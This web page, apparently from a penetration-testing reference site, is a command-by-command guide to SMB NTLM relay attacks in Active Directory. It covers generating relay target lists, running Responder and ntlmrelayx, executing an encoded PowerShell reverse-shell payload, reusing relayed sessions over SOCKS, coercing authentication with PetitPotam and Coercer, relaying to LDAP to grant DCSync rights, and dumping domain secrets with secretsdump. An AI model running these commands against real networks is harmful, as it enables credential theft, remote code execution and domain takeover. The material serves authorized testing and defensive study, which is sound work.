Skip to content
HackIndex logo

HackIndex

SMB NTLM Relay – Hash Relay to Shell

4 min read May 15, 2026

NTLM relay intercepts an authentication attempt from one host and forwards it to another before the original connection completes. The target validates the relayed credential as legitimate. You never need to know the password — you just need to be in a position to receive authentication and a target that does not require SMB signing.

The prerequisite is a way to trigger authentication to your listener: LLMNR/NBT-NS poisoning with Responder, authentication coercion via SpoolSample or PetitPotam, or a writeable share trick that forces a UNC path lookup. The other prerequisite is at least one target with SMB signing disabled or not required — that is still common across workstations in most AD environments.

Finding Relay Targets

Generate a target list of hosts with SMB signing disabled or not required:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 --gen-relay-list targets.txt

Any host in targets.txt is a valid relay target. Domain Controllers have signing required by default — do not waste time relaying to them unless you have a specific cross-protocol plan.

Setting Up ntlmrelayx

Turn off Responder's SMB and HTTP servers first so they do not conflict with ntlmrelayx:

┌──(kali㉿kali)-[~]
└─$ sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf
┌──(kali㉿kali)-[~]
└─$ sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf

Start Responder for poisoning only:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -dwv

Start ntlmrelayx targeting your list:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support

When a relay succeeds and the relayed user has local admin on the target, ntlmrelayx dumps the SAM database by default.

Getting a Shell Directly

Use -c to execute a command instead of dumping SAM. Drop a reverse shell:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -e <base64payload>"

Or use -i for an interactive SMB shell on the first successful relay:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support -i

When a relay succeeds, ntlmrelayx opens a local TCP port. Connect to it with nc:

┌──(kali㉿kali)-[~]
└─$ nc 127.0.0.1 11000

This gives you an interactive SMB shell as the relayed user.

SOCKS Proxy Mode for Reusable Sessions

With -socks, ntlmrelayx keeps relay sessions alive and exposes them as a SOCKS proxy. This lets you reuse the authenticated session with any tool:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support -socks

Once a relay succeeds, sessions appear in the ntlmrelayx prompt:

ntlmrelayx> socks
Protocol  Target          Username              Port
--------  --------------  --------------------  ----
SMB       10.10.10.15     CORP/jsmith           445
SMB       10.10.10.22     CORP/administrator    445

Use proxychains to route any Impacket tool through the session:

┌──(kali㉿kali)-[~]
└─$ proxychains impacket-secretsdump CORP/[email protected] -no-pass
┌──(kali㉿kali)-[~]
└─$ proxychains impacket-smbclient CORP/[email protected] -no-pass

Relay Without Responder – Authentication Coercion

If Responder poisoning is restricted or not available, trigger authentication directly using coercion tools. These force the target to authenticate to your ntlmrelayx listener:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support -socks
┌──(kali㉿kali)-[~]
└─$ PetitPotam.py $LHOST $TARGET_IP

Or with Coercer:

┌──(kali㉿kali)-[~]
└─$ coercer coerce -t $TARGET_IP -l $LHOST -u $USER -p $PASSWORD -d $DOMAIN

The coerced machine account authentication relays to your target list. Machine accounts often have local admin on other hosts in the same OU or via GPO, making this reliable.

Cross-Protocol Relay to LDAP

If all SMB targets have signing required, relay to LDAP instead. LDAP signing is not enforced by default on many DCs. With a relayed DA or machine account:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldap://$DC_IP -smb2support --escalate-user $USER

This grants DCSync rights to a user you control. Then run DCSync to dump the domain:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc

For the full LDAP relay workflow, see LDAP Relay and Signing Abuse. For post-DCSync paths, see Active Directory DCSync and Domain Takeover.

Non-Admin Relay

Even without local admin on the target, a successful relay is still useful. A non-admin relay gives you authenticated SMB read access to the target's shares as the relayed user. Use the SOCKS mode and browse shares:

┌──(kali㉿kali)-[~]
└─$ proxychains impacket-smbclient CORP/[email protected] -no-pass

Browse for sensitive files, credentials, scripts, or config files in accessible shares.

For AD-specific relay chains (LDAP, ADCS, DCSync), see AD NTLM Relay.

References